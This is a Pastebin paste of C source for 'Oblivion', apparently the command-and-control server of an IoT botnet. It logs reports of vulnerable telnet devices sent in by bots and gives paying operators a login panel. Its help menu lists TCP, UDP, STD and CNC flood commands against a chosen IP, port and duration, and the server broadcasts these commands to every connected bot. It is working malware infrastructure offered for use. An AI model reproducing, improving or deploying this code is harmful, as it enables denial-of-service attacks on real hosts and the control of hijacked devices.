Advertisement
WorkingSmarter

Oblivion Server.c

Sep 9th, 2017
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.90 KB | None | 0 0
  1. //Credits to WorkingSmarter#0546
  2. //Discord https://discord.gg/QYkubM7
  3. //CONNECTION HANDLER MODIFIED BY Jonah
  4. //edited banner -xFyfa
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <netdb.h>
  11. #include <unistd.h>
  12. #include <time.h>
  13. #include <fcntl.h>
  14. #include <sys/epoll.h>
  15. #include <errno.h>
  16. #include <pthread.h>
  17. #include <signal.h>
  18. #define HACKERZ "V1"
  19. #define MAXFDS 1000000
  20. char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
  21. char *ports[] = {"80", "3075", "443", "22", "53", "3074", "23", "8080"};
  22. struct account {
  23. char id[20];
  24. char password[20];
  25. };
  26. static struct account accounts[50];
  27. struct clientdata_t {
  28. uint32_t ip;
  29. char build[7];
  30. char connected;
  31. } clients[MAXFDS];
  32. struct telnetdata_t {
  33. int connected;
  34. int hax;
  35. } managements[MAXFDS];
  36. static volatile FILE *telFD;
  37. static volatile FILE *fileFD;
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int managesConnected = 0;
  41. static volatile int TELFound = 0;
  42. static volatile int scannerreport;
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  44. {
  45. int total = 0, got = 1;
  46. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47. return got;
  48. }
  49. void trim(char *str)
  50. {
  51. int i;
  52. int begin = 0;
  53. int end = strlen(str) - 1;
  54. while (isspace(str[begin])) begin++;
  55. while ((end >= begin) && isspace(str[end])) end--;
  56. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  57. str[i - begin] = '\0';
  58. }
  59. static int make_socket_non_blocking (int sfd)
  60. {
  61. int flags, s;
  62. flags = fcntl (sfd, F_GETFL, 0);
  63. if (flags == -1)
  64. {
  65. perror ("fcntl");
  66. return -1;
  67. }
  68. flags |= O_NONBLOCK;
  69. s = fcntl (sfd, F_SETFL, flags);
  70. if (s == -1)
  71. {
  72. perror ("fcntl");
  73. return -1;
  74. }
  75. return 0;
  76. }
  77. int hackz;
  78. static int create_and_bind (char *port)
  79. {
  80. struct addrinfo hints;
  81. struct addrinfo *result, *rp;
  82. int s, sfd;
  83. memset (&hints, 0, sizeof (struct addrinfo));
  84. hints.ai_family = AF_UNSPEC;
  85. hints.ai_socktype = SOCK_STREAM;
  86. hints.ai_flags = AI_PASSIVE;
  87. s = getaddrinfo (NULL, port, &hints, &result);
  88. if (s != 0)
  89. {
  90. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  91. return -1;
  92. }
  93. for (rp = result; rp != NULL; rp = rp->ai_next)
  94. {
  95. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  96. if (sfd == -1) continue;
  97. int yes = 1;
  98. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  99. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  100. if (s == 0)
  101. {
  102. break;
  103. }
  104. close (sfd);
  105. }
  106. if (rp == NULL)
  107. {
  108. fprintf (stderr, "Could not bind\n");
  109. return -1;
  110. }
  111. freeaddrinfo (result);
  112. return sfd;
  113. }
  114. void broadcast(char *msg, int us, char *sender)
  115. {
  116. int sendMGM = 1;
  117. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  118. char *wot = malloc(strlen(msg) + 10);
  119. memset(wot, 0, strlen(msg) + 10);
  120. strcpy(wot, msg);
  121. trim(wot);
  122. time_t rawtime;
  123. struct tm * timeinfo;
  124. time(&rawtime);
  125. timeinfo = localtime(&rawtime);
  126. char *timestamp = asctime(timeinfo);
  127. trim(timestamp);
  128. int i;
  129. for(i = 0; i < MAXFDS; i++)
  130. {
  131. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  132. if(sendMGM && managements[i].connected)
  133. {
  134. send(i, "\x1b[36m", 5, MSG_NOSIGNAL);
  135. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  136. send(i, ": ", 2, MSG_NOSIGNAL);
  137. }
  138. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  139. char *root1[1024];
  140. char usernames[80];
  141. sprintf(root1, "\r\n\x1b[%s:~$ \x1b[37m ", colorCodes[rand() % 6]);
  142. if(sendMGM && managements[i].connected) send(i, root1, strlen(root1), MSG_NOSIGNAL);
  143. else send(i, "\n", 1, MSG_NOSIGNAL);
  144. }
  145. free(wot);
  146. }
  147. void *epollEventLoop(void *useless)
  148. {
  149. struct epoll_event event;
  150. struct epoll_event *events;
  151. int s;
  152. events = calloc (MAXFDS, sizeof event);
  153. while (1)
  154. {
  155. int n, i;
  156. n = epoll_wait (epollFD, events, MAXFDS, -1);
  157. for (i = 0; i < n; i++)
  158. {
  159. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  160. {
  161. clients[events[i].data.fd].connected = 0;
  162. close(events[i].data.fd);
  163. continue;
  164. }
  165. else if (listenFD == events[i].data.fd)
  166. {
  167. while (1)
  168. {
  169. struct sockaddr in_addr;
  170. socklen_t in_len;
  171. int infd, ipIndex;
  172. in_len = sizeof in_addr;
  173. infd = accept (listenFD, &in_addr, &in_len);
  174. if (infd == -1)
  175. {
  176. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  177. else
  178. {
  179. perror ("accept");
  180. break;
  181. }
  182. }
  183.  
  184.  
  185. s = make_socket_non_blocking (infd);
  186. if (s == -1) { close(infd); break; }
  187. event.data.fd = infd;
  188. event.events = EPOLLIN | EPOLLET;
  189. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  190. if (s == -1)
  191. {
  192. perror ("epoll_ctl");
  193. close(infd);
  194. break;
  195. }
  196. clients[infd].connected = 1;
  197. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  198. }
  199. continue;
  200. }
  201. else
  202. {
  203. int thefd = events[i].data.fd;
  204. struct clientdata_t *client = &(clients[thefd]);
  205. int done = 0;
  206. client->connected = 1;
  207. while (1)
  208. {
  209. int cheats;
  210. ssize_t count;
  211. char buf[2048];
  212. memset(buf, 0, sizeof buf);
  213. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  214. {
  215. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  216. trim(buf);
  217. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  218. {
  219. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  220. continue;
  221. }
  222. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  223. {
  224. char *line = strstr(buf, "REPORT ") + 7;
  225. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  226. fflush(telFD);
  227. TELFound++;
  228. continue;
  229. }
  230. if(strstr(buf, "PROBING") == buf)
  231. {
  232. char *line = strstr(buf, "PROBING");
  233. scannerreport = 1;
  234. continue;
  235. }
  236. if(strstr(buf, "REMOVING PROBE") == buf)
  237. {
  238. char *line = strstr(buf, "REMOVING PROBE");
  239. scannerreport = 0;
  240. continue;
  241. }
  242. if(strcmp(buf, "PONG") == 0)
  243. {
  244. continue;
  245. }
  246. printf("buf: \"%s\"\n", buf);
  247. }
  248. if (count == -1)
  249. {
  250. if (errno != EAGAIN)
  251. {
  252. done = 1;
  253. }
  254. break;
  255. }
  256. else if (count == 0)
  257. {
  258. done = 1;
  259. break;
  260. }
  261. }
  262. if (done)
  263. {
  264. client->connected = 0;
  265. close(thefd);
  266. }
  267. }
  268. }
  269. }
  270. }
  271. unsigned int clientsConnected()
  272. {
  273. int i = 0, total = 0;
  274. for(i = 0; i < MAXFDS; i++)
  275. {
  276. if(!clients[i].connected) continue;
  277. total++;
  278. }
  279. return total;
  280. }
  281. void *titleWriter(void *sock)
  282. {
  283. int thefd = (int)sock;
  284. char string[2048];
  285. while(1)
  286. {
  287. memset(string, 0, 2048);
  288. sprintf(string, "%c]0; :|: Bots Online: %d :|: Telnets: %d :|: Users Online: %d :|:%c", '\033', clientsConnected(), TELFound, managesConnected, '\007');
  289. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  290. sleep(2);
  291. }
  292. }
  293. int Search_in_File(char *str)
  294. {
  295. FILE *fp;
  296. int line_num = 0;
  297. int find_result = 0, find_line=0;
  298. char temp[512];
  299. if((fp = fopen("login.txt", "r")) == NULL){
  300. return(-1);
  301. }
  302. while(fgets(temp, 512, fp) != NULL){
  303. if((strstr(temp, str)) != NULL){
  304. find_result++;
  305. find_line = line_num;
  306. }
  307. line_num++;
  308. }
  309. if(fp)
  310. fclose(fp);
  311. if(find_result == 0)return 0;
  312. return find_line;
  313. }
  314. void *telnetWorker(void *sock)
  315. {
  316. char usernames[80];
  317. int thefd = (int)sock;
  318. int find_line;
  319. managesConnected++;
  320. pthread_t title;
  321. char counter[2048];
  322. memset(counter, 0, 2048);
  323. char buf[2048];
  324. char* nickstring;
  325. char* username;
  326. char* password;
  327. memset(buf, 0, sizeof buf);
  328. char hackz[2048];
  329. memset(hackz, 0, 2048);
  330. FILE *fp;
  331. int i=0;
  332. int c;
  333. fp=fopen("login.txt", "r"); // format: user pass
  334. while(!feof(fp))
  335. {
  336. c=fgetc(fp);
  337. ++i;
  338. }
  339. int j=0;
  340. rewind(fp);
  341. while(j!=i-1)
  342. {
  343. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  344. ++j;
  345. }
  346. sprintf(hackz, "\x1b[%sUsername:\x1b[30m ", colorCodes[(rand() % 6)]);
  347. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  348. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  349. trim(buf);
  350. sprintf(usernames, buf);
  351. nickstring = ("%s", buf);
  352. find_line = Search_in_File(nickstring);
  353. if(strcmp(nickstring, accounts[find_line].id) == 0){
  354. sprintf(hackz, "\x1b[%sPassword:\x1b[30m ", colorCodes[(rand() % 6)]);
  355. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  356. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  357. trim(buf);
  358. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  359. memset(buf, 0, 2048);
  360. goto hacker;
  361. }
  362. failed:
  363. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  364. if(send(thefd, "\x1b[36m Attempting To Log IP Address\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  365. sleep(2);
  366. if(send(thefd, "\x1b[36m Successfully Logged Bye Bitch\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  367. sleep(2);
  368. goto end;
  369. hacker:
  370. pthread_create(&title, NULL, &titleWriter, sock);
  371. sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  372. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  373. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;//im a hacker hehehe
  374. char ascii_banner_line1 [5000];
  375. char ascii_banner_line2 [5000];
  376. char ascii_banner_line3 [5000];
  377. char ascii_banner_line4 [5000];
  378. char ascii_banner_line5 [5000];
  379. char ascii_banner_line6 [5000];
  380. char ascii_banner_line7 [5000];
  381. char ascii_banner_line8 [5000];
  382. char ascii_banner_line9 [5000];
  383. char ascii_banner_line10 [5000];
  384. sprintf(ascii_banner_line1, " \x1b[35m \r\n");
  385. sprintf(ascii_banner_line2, " ,, ,, ,, ,, \r\n");
  386. sprintf(ascii_banner_line3, " .g8""8q. *MM `7MM db db \r\n");
  387. sprintf(ascii_banner_line4, " .dP' `YM. MM MM \r\n");
  388. sprintf(ascii_banner_line5, " dM' `MM MM,dMMb. MM `7MM `7M' `MF'`7MM ,pW'Wq.`7MMpMMMb. \r\n");
  389. sprintf(ascii_banner_line6, " MM MM MM `Mb MM MM VA ,V MM 6W' `Wb MM MM \r\n");
  390. sprintf(ascii_banner_line7, " MM. ,MP MM M8 MM MM VA ,V MM 8M M8 MM MM \r\n");
  391. sprintf(ascii_banner_line8, " `Mb. ,dP' MM. ,M9 MM MM VVV MM YA. ,A9 MM MM \r\n");
  392. sprintf(ascii_banner_line9, " ''bmmd'' P^YbmdP'.JMML..JMML. W .JMML.`Ybmd9'.JMML JMML.\r\n");
  393. sprintf(ascii_banner_line10," \r\n");
  394. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  395. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  396. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  397. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  398. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  399. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  400. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  401. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  402. if(send(thefd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  403. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  404. sprintf(hackz, "\x1b[%s\r\nWelcome,\x1b[34m %s\x1b[%s To the Oblivion\r\n", colorCodes[(rand() % 6)], usernames, colorCodes[(rand() % 6)]);
  405. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  406. char *root223[1024];
  407. sprintf(root223, "\x1b[%s~$ \x1b[0;37m ", colorCodes[rand() % 5], usernames);
  408. if(send(thefd, root223, strlen(root223), MSG_NOSIGNAL) == -1) goto end;
  409. pthread_create(&title, NULL, &titleWriter, sock);
  410. managements[thefd].connected = 1;
  411. while(fdgets(buf, sizeof buf, thefd) > 0)
  412. {
  413. if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  414. {
  415. sprintf(hackz, "[\x1b[36m+\x1b[37m] Bots Online: %d [\x1b[31m-\x1b[37m] Users Online: %d [\x1b[36m+\x1b[37m]\r\n", clientsConnected(), managesConnected);
  416. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  417. }
  418. if (strncmp(buf, "status", 6) == 0 || strncmp(buf, "STATUS", 6) == 0)
  419. {
  420. sprintf(hackz, "[\x1b[36m+\x1b[37m] Telnet devices: %d [\x1b[31m-\x1b[37m] Telnet status: % [\x1b[36m+\x1b[37m]\r\n", TELFound, scannerreport);
  421. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  422. }
  423. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  424. {
  425. sprintf(hackz, "[\x1b[36m+\x1b[37m] Successfully Sent Attack [\x1b[36m+\x1b[37m]\r\n");
  426. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  427. }
  428. if (strncmp(buf, "rules", 5) == 0 || strncmp(buf, "RULES", 5) == 0)
  429. {
  430. sprintf(hackz, "Please Read The Following Rules if not will result in ban\r\n1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n2.) DO NOT SPAM THE NET\r\n3.) Dont hit any goverment websites\r\n");
  431. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  432. }
  433. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "?", 4) == 0)
  434. {
  435. sprintf(hackz, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n");
  436. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  437. sprintf(hackz, "\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
  438. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  439. sprintf(hackz, "\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
  440. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  441. sprintf(hackz, "\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  442. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  443. sprintf(hackz, "\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  444. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  445. sprintf(hackz, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n");
  446. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  447. sprintf(hackz, "\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  448. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  449. sprintf(hackz, "\x1b[37m!* PORT_SCAN IP | MAKE SURE TO PUT THE IP AT THE END\r\n");
  450. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  451. sprintf(hackz, "\x1b[37m[+]\x1b[36mTerminal Commands----------------------------------\x1b[37m\r\n");
  452. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  453. sprintf(hackz, "\x1b[37mBOTS | SHOWS BOT COUNT\r\n");
  454. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  455. sprintf(hackz, "\x1b[37mCLS | CLEARS YOUR SCREEN\r\n");
  456. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  457. }
  458. if(strstr(buf, "PORT_SCAN")) {
  459. sleep(2);
  460. sprintf(hackz, "Open Ports %s, %s\r\n", ports[(rand() % 8)], ports[(rand() % 8)]);
  461. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  462. }
  463. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  464. {
  465. sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  466. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  467. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  468. sprintf(ascii_banner_line1, " \r\n");
  469. sprintf(ascii_banner_line2, " ,, ,, ,, ,, \r\n");
  470. sprintf(ascii_banner_line3, " .g8""8q. *MM `7MM db db \r\n");
  471. sprintf(ascii_banner_line4, " .dP' `YM. MM MM \r\n");
  472. sprintf(ascii_banner_line5, " dM' `MM MM,dMMb. MM `7MM `7M' `MF'`7MM ,pW'Wq.`7MMpMMMb. \r\n");
  473. sprintf(ascii_banner_line6, " MM MM MM `Mb MM MM VA ,V MM 6W' `Wb MM MM \r\n");
  474. sprintf(ascii_banner_line7, " MM. ,MP MM M8 MM MM VA ,V MM 8M M8 MM MM \r\n");
  475. sprintf(ascii_banner_line8, " `Mb. ,dP' MM. ,M9 MM MM VVV MM YA. ,A9 MM MM \r\n");
  476. sprintf(ascii_banner_line9, " ''bmmd'' P^YbmdP'.JMML..JMML. W .JMML.`Ybmd9'.JMML JMML.\r\n");
  477. sprintf(ascii_banner_line10," \r\n");
  478. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  479. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  480. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  481. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  483. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  484. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  485. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  486. if(send(thefd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  487. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  488. sprintf(hackz, "\x1b[%s\r\nWelcome,\x1b[34m %s\x1b[%s To the Oblivion\r\n", colorCodes[(rand() % 6)], usernames, colorCodes[(rand() % 6)]);
  489. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  490. char *root55[1024];
  491. sprintf(root55, "\x1b[%s~$ \x1b[0;37m ", colorCodes[rand() % 5], usernames);
  492. if(send(thefd, root55, strlen(root55), MSG_NOSIGNAL) == -1) goto end;
  493. pthread_create(&title, NULL, &titleWriter, sock);
  494. managements[thefd].connected = 1;
  495. }
  496. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  497. {
  498. goto end;
  499. }
  500. if (strncmp(buf, "2000", 4) == 0 || strncmp(buf, "2100", 4) == 0 || strncmp(buf, "2200", 4) == 0 || strncmp(buf, "2300", 4) == 0 || strncmp(buf, "2400", 4) == 0 || strncmp(buf, "2500", 4) == 0)
  501. {
  502. printf("Over Time By %s\n", accounts[find_line].id, buf);
  503. FILE *logFile;
  504. logFile = fopen("OverTime.log", "a");
  505. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  506. fclose(logFile);
  507. goto end;
  508. }
  509. if(strstr(buf, "LOLNOGTFO"))
  510. {
  511. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  512. FILE *logFile;
  513. logFile = fopen("KILL.log", "a");
  514. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  515. fclose(logFile);
  516. goto end;
  517. }
  518. if(strstr(buf, "SH"))
  519. {
  520. printf("ATTEMPT TO SH BOTS BY %s\n", accounts[find_line].id, buf);
  521. FILE *logFile;
  522. logFile = fopen("SH.log", "a");
  523. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  524. fclose(logFile);
  525. goto end;
  526. }
  527. trim(buf);
  528. char *root2[1024];
  529. sprintf(root2, "\x1b[%s~$ \x1b[0;37m ", colorCodes[rand() % 5], usernames);
  530. if(send(thefd, root2, strlen(root2), MSG_NOSIGNAL) == -1) goto end;
  531. if(strlen(buf) == 0) continue;
  532. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  533. FILE *logFile;
  534. logFile = fopen("report.log", "a");
  535. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  536. fclose(logFile);
  537. broadcast(buf, thefd, usernames);
  538. memset(buf, 0, 2048);
  539. }
  540. end: // cleanup dead socket
  541. managements[thefd].connected = 0;
  542. close(thefd);
  543. managesConnected--;
  544. }
  545. void *telnetListener(int port)
  546. {
  547. int sockfd, newsockfd;
  548. socklen_t clilen;
  549. struct sockaddr_in serv_addr, cli_addr;
  550. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  551. if (sockfd < 0) perror("ERROR opening socket");
  552. bzero((char *) &serv_addr, sizeof(serv_addr));
  553. serv_addr.sin_family = AF_INET;
  554. serv_addr.sin_addr.s_addr = INADDR_ANY;
  555. serv_addr.sin_port = htons(port);
  556. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  557. listen(sockfd,5);
  558. clilen = sizeof(cli_addr);
  559. while(1)
  560. {
  561. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  562. if (newsockfd < 0) perror("ERROR on accept");
  563. pthread_t thread;
  564. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  565. }
  566. }
  567. int main (int argc, char *argv[], void *sock)
  568. {
  569. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  570. int s, threads, port;
  571. struct epoll_event event;
  572. if (argc != 4)
  573. {
  574. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  575. exit (EXIT_FAILURE);
  576. }
  577. port = atoi(argv[3]);
  578. telFD = fopen("telnet.txt", "a+");
  579. threads = atoi(argv[2]);
  580. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  581. if (listenFD == -1) abort ();
  582. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  583. if (s == -1) abort ();
  584. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  585. if (s == -1)
  586. {
  587. perror ("listen");
  588. abort ();
  589. }
  590. epollFD = epoll_create1 (0);
  591. if (epollFD == -1)
  592. {
  593. perror ("epoll_create");
  594. abort ();
  595. }
  596. event.data.fd = listenFD;
  597. event.events = EPOLLIN | EPOLLET;
  598. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  599. if (s == -1)
  600. {
  601. perror ("epoll_ctl");
  602. abort ();
  603. }
  604. pthread_t thread[threads + 2];
  605. while(threads--)
  606. {
  607. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  608. }
  609. pthread_create(&thread[0], NULL, &telnetListener, port);
  610. while(1)
  611. {
  612. broadcast("PING", -1, "HACKER");
  613. sleep(60);
  614. }
  615. close (listenFD);
  616. return EXIT_SUCCESS;
  617. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement